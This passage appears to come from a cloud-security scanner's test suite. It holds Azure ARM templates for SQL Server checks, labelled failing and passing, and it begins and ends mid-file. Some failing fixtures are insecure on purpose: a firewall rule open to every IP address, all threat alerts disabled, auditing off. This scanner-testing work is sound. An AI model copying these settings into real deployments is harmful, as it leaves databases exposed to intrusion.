parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 7,\n                \"diffBackupIntervalInHours\": 12\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/geoBackupPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/ledgerDigestUploads\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {}\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/transparentDataEncryption\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerNoPublicAccess/sqlServerNoPublicAccess-TDE-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"transparentDataEncryption\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Enabled\",\n        \"Disabled\"\n      ],\n      \"defaultValue\": \"Enabled\",\n      \"metadata\": {\n        \"description\": \"Enable or disable Transparent Data Encryption (TDE) for the database.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"sqlServerName\": \"[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]\",\n    \"databaseName\": \"sample-db-with-tde\",\n    \"databaseEdition\": \"Basic\",\n    \"databaseCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n    \"databaseServiceObjectiveName\": \"Basic\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"[variables('sqlServerName')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayName\": \"SqlServer\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"tags\": {\n            \"displayName\": \"Database\"\n          },\n          \"properties\": {\n            \"edition\": \"[variables('databaseEdition')]\",\n            \"collation\": \"[variables('databaseCollation')]\",\n            \"requestedServiceObjectiveName\": \"[variables('databaseServiceObjectiveName')]\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ],\n          \"resources\": [\n            {\n              \"comments\": \"Transparent Data Encryption\",\n              \"name\": \"current\",\n              \"type\": \"transparentDataEncryption\",\n              \"apiVersion\": \"2014-04-01-preview\",\n              \"properties\": {\n                \"status\": \"[parameters('transparentDataEncryption')]\"\n              },\n              \"dependsOn\": [\n                \"[variables('databaseName')]\"\n              ]\n            }\n          ]\n        },\n        {\n          \"name\": \"AllowAllMicrosoftAzureIps\",\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2015-05-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"properties\": {\n            \"endIpAddress\": \"255.255.255.255\",\n            \"startIpAddress\": \"0.0.0.0\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ]\n        }\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"sqlServerFqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]\"\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('databaseName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerNoPublicAccess/sqlServerNoPublicAccess-TDE-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The administrator username of the SQL Server.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The administrator password of the SQL Server.\"\n      }\n    },\n    \"transparentDataEncryption\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Enabled\",\n        \"Disabled\"\n      ],\n      \"defaultValue\": \"Enabled\",\n      \"metadata\": {\n        \"description\": \"Enable or disable Transparent Data Encryption (TDE) for the database.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"sqlServerName\": \"[concat('sqlserver', uniqueString(subscription().id, resourceGroup().id))]\",\n    \"databaseName\": \"sample-db-with-tde\",\n    \"databaseEdition\": \"Basic\",\n    \"databaseCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n    \"databaseServiceObjectiveName\": \"Basic\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"[variables('sqlServerName')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"displayName\": \"SqlServer\"\n      },\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"tags\": {\n            \"displayName\": \"Database\"\n          },\n          \"properties\": {\n            \"edition\": \"[variables('databaseEdition')]\",\n            \"collation\": \"[variables('databaseCollation')]\",\n            \"requestedServiceObjectiveName\": \"[variables('databaseServiceObjectiveName')]\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ],\n          \"resources\": [\n            {\n              \"comments\": \"Transparent Data Encryption\",\n              \"name\": \"current\",\n              \"type\": \"transparentDataEncryption\",\n              \"apiVersion\": \"2014-04-01-preview\",\n              \"properties\": {\n                \"status\": \"[parameters('transparentDataEncryption')]\"\n              },\n              \"dependsOn\": [\n                \"[variables('databaseName')]\"\n              ]\n            }\n          ]\n        },\n        {\n          \"name\": \"AllowAllMicrosoftAzureIps\",\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2015-05-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"properties\": {\n            \"endIpAddress\": \"0.0.0.0\",\n            \"startIpAddress\": \"0.0.0.0\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ]\n        }\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"sqlServerFqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]\"\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('databaseName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\",\n          \"disabledAlerts\": \"All\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\",\n          \"emailAddresses\": \"[variables('emailAddresses')[copyIndex()]]\",\n          \"emailAccountAdmins\": \"Enabled\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerThreatDetectionTypes/sqlServerThreatDetectionTypes-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\",\n          \"emailAddresses\": \"[variables('emailAddresses')[copyIndex()]]\",\n          \"emailAccountAdmins\": \"Enabled\",\n          \"disabledAlerts\": \"\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerUsesADAuth/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"administratorLogin\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"anythingisbad\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\",\n            \"defaultValue\": \"\"\n        },\n        \"administrators\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"enableADS\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"useVAManagedIdentity\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"metadata\": {\n                \"description\": \"To enable vulnerability assessments, the user deploying this template must have an administrator or owner permissions.\"\n            }\n        },\n        \"vaStoragelessEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"metadata\": {\n                \"description\": \"Flag for enabling vulnerability assessments with express configuration (storage less), the user deploying this template must have administrator or owner permissions.\"\n            }\n        },\n        \"publicNetworkAccess\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"minimalTlsVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"allowAzureIps\": {\n            \"type\": \"bool\",\n            \"defaultValue\": true\n        },\n        \"enableVA\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"serverTags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        }\n    },\n    \"variables\": {\n        \"subscriptionId\": \"[subscription().subscriptionId]\",\n        \"resourceGroupName\": \"[resourceGroup().name]\",\n        \"uniqueStorage\": \"[uniqueString(variables('subscriptionId'), variables('resourceGroupName'), parameters('location'))]\",\n        \"storageName\": \"[tolower(concat('sqlva', variables('uniqueStorage')))]\",\n        \"uniqueRoleGuid\": \"[guid(resourceId('Microsoft.Storage/storageAccounts', variables('storageName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('serverName')))]\",\n        \"StorageBlobContributor\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\"\n    },\n    \"resources\": [\n        {\n            \"condition\": \"[parameters('enableVA')]\",\n            \"type\": \"Microsoft.Storage/storageAccounts\",\n            \"apiVersion\": \"2019-04-01\",\n            \"name\": \"[variables('storageName')]\",\n            \"location\": \"[parameters('location')]\",\n            \"sku\": {\n                \"name\": \"Standard_LRS\"\n            },\n            \"kind\": \"StorageV2\",\n            \"properties\": {\n                \"minimumTlsVersion\": \"TLS1_2\",\n                \"supportsHttpsTrafficOnly\": \"true\",\n                \"allowBlobPublicAccess\": \"false\"\n            },\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('useVAManagedIdentity')]\",\n                    \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n                    \"apiVersion\": \"2018-09-01-preview\",\n                    \"name\": \"[concat(variables('storageName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid') )]\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\",\n                        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]\"\n                    ],\n                    \"properties\": {\n                        \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n                        \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('serverName')), '2018-06-01-preview', 'Full').identity.principalId]\",\n                        \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))]\",\n                        \"principalType\": \"ServicePrincipal\"\n                    }\n                }\n            ]\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers\",\n            \"apiVersion\": \"2020-11-01-preview\",\n            \"name\": \"fail\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"version\": \"12.0\",\n                \"minimalTlsVersion\": \"[parameters('minimalTlsVersion')]\",\n                \"publicNetworkAccess\": \"[parameters('publicNetworkAccess')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"administrators\": \"[parameters('administrators')]\"\n            },\n            \"identity\": \"[if(and(parameters('enableVA'),parameters('useVAManagedIdentity')), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n            \"tags\": \"[parameters('serverTags')]\",\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('allowAzureIPs')]\",\n                    \"type\": \"firewallRules\",\n                    \"apiVersion\": \"2021-11-01\",\n                    \"name\": \"AllowAllWindowsAzureIps\",\n                    \"location\": \"[parameters('location')]\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"endIpAddress\": \"0.0.0.0\",\n                        \"startIpAddress\": \"0.0.0.0\"\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('enableADS')]\",\n                    \"type\": \"advancedThreatProtectionSettings\",\n                    \"apiVersion\": \"2021-11-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"state\": \"Enabled\"\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('enableVA')]\",\n                    \"type\": \"vulnerabilityAssessments\",\n                    \"apiVersion\": \"2018-06-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.Sql/servers/', parameters('serverName'))]\",\n                        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageName'))]\",\n                        \"[concat('Microsoft.Sql/servers/', parameters('serverName'), '/advancedThreatProtectionSettings/Default')]\"\n                    ],\n                    \"properties\": {\n                        \"storageContainerPath\": \"[if(parameters('enableVA'), concat(reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageName'))).primaryEndpoints.blob, 'vulnerability-assessment'), '')]\",\n                        \"storageAccountAccessKey\": \"[if(and(parameters('enableVA'),not(parameters('useVAManagedIdentity'))), listKeys(variables('storageName'), '2018-02-01').keys[0].value, '')]\",\n                        \"recurringScans\": {\n                            \"isEnabled\": true,\n                            \"emailSubscriptionAdmins\": false\n                        }\n                    }\n                },\n                {\n                    \"condition\": \"[parameters('vaStoragelessEnabled')]\",\n                    \"type\": \"sqlVulnerabilityAssessments\",\n                    \"apiVersion\": \"2022-02-01-preview\",\n                    \"name\": \"Default\",\n                    \"dependsOn\": [\n                        \"[resourceId('Microsoft.Sql/servers', parameters('serverName'))]\"\n                    ],\n                    \"properties\": {\n                        \"state\": \"Enabled\"\n                    }\n                }\n            ]\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerUsesADAuth/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"administratorLogin\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\",\n            \"defaultValue\": \"\"\n        },\n        \"administrators\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"enableADS\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"useVAManagedIdentity\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            \"metadata\": {\n                \"description\": \"To enable vulnerability assessments, the user deploying this template must have an administrator or owner permissions.\"\n            }\n        },\n        \"vaStoragelessEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false,\n            